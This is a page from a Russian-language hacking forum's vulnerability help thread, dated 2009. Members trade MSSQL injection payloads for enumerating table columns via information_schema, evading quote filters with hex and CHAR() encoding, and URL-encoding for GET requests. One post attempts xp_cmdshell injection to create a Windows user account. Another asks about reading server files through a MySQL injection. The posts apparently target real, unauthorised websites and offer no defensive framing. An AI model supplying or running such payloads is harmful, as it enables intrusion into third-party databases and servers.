HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 470 из 2422 « Первая < 370420460 466 467 468 469 470 471 472 473 474 4805205709701470 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.01.2009, 19:14
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию
more 1 row, mssql не поддерживает limit либо top либо between
1 на одном
2 create procedure() begin ... end, select procedure()
3 top 1 column_name from information_schema.columns where table_name='x'
 
Ответить с цитированием

  #2  
Старый 17.01.2009, 20:03
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию
Цитата:
Сообщение от l1ght  
3 top 1 column_name from information_schema.columns where table_name='x'
(select+top+1+column_name+from+information_schema. columns+where+table_name='users')--

Не работает )

ЗЫ: Не получается составить процедуру к БД =_=.

Типо такой:

xp_cmdshell [NET USER hack password /ADD]

1+and+1=(select+xp_cmdshell+[NET USER help password /ADD])--

Что-то вроде такоого ).Преобразовывал и в хекс,и в юрл, и наоборот.
Последний раз редактировалось Велемир; 17.01.2009 в 20:34..
 
Ответить с цитированием

  #3  
Старый 17.01.2009, 19:11
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию
Ппц.. я не знаю, что за "гайд" ты там читал... Но...

Код:
(select+column_name from information_schema.columns+where+table_name+not+in +(0x7573657273)--
Ты понимаешь, что это за запрос?

Перевожу:

Выбрать имя колонки из information_schema, где имя таблицы не 0x7573657273.

Если хочешь выводить колонки из таблиц:

Код:
(select+top+1+column_name+from+information_schema.columns+where+table_name='таблица'+and+COLU MN_NAME+not+in+('колонка','колонка2'))--
Вот гайд, читай.

http://forum.antichat.ru/thread30501.html
Последний раз редактировалось R1dex; 17.01.2009 в 19:21..
 
Ответить с цитированием

  #4  
Старый 17.01.2009, 19:27
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию
как бы спрашивал но вопрос теперь в другом) есть mysql-inj с файл_прив=У) при попытке прочитать папку с сайтом ничего не показывает хотя содержимое других папок отображает) как и файлов) может ли быть так что для мускула нет прав прочитать файл или содержимое папки?
 
Ответить с цитированием

  #5  
Старый 17.01.2009, 19:38
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию
да либо не хватает прав либо не верно указан путь.
 
Ответить с цитированием

  #6  
Старый 17.01.2009, 19:38
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию
Ругается он на кавычки и никакие where= не прокатят+на HEX ругается,и интересно,как я колонки буду выбирать,если я их не знаю.Колонка1,колонка2...жес ь
 
Ответить с цитированием

  #7  
Старый 17.01.2009, 19:41
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию
Цитата:
Сообщение от Велемир  
Ругается он на кавычки и никакие where= не прокатят+на HEX ругается,и интересно,как я колонки буду выбирать,если я их не знаю.Колонка1,колонка2...жес ь
дай урл, думаю многое станет ясным
Последний раз редактировалось z00MAN; 17.01.2009 в 19:45..
 
Ответить с цитированием

  #8  
Старый 17.01.2009, 19:42
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию
Выше, с помощью запроса, который составил l1ght - получаешь первую колонку, а потом not in.

А ещё лучше - кинуть ссылку.
 
Ответить с цитированием

  #9  
Старый 17.01.2009, 20:09
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию
А что пишет-то?
Хексил users без ковычки?
 
Ответить с цитированием

  #10  
Старый 17.01.2009, 20:30
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию
(select+top+1+column_name+from+information_schema. columns+where+table_name=CHAR(117)+CHAR(115)+CHAR( 101)+CHAR(114)+CHAR(115))--
В гете нужно + на %2B менять
(select+top+1+column_name+from+information_schema. columns+where+table_name=CHAR(117)%2BCHAR(115)%2BC HAR(101)%2BCHAR(114)%2BCHAR(115))--
 
Ответить с цитированием
Ответ
Страница 470 из 2422 « Первая < 370420460 466 467 468 469 470 471 472 473 474 4805205709701470 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT.XYZ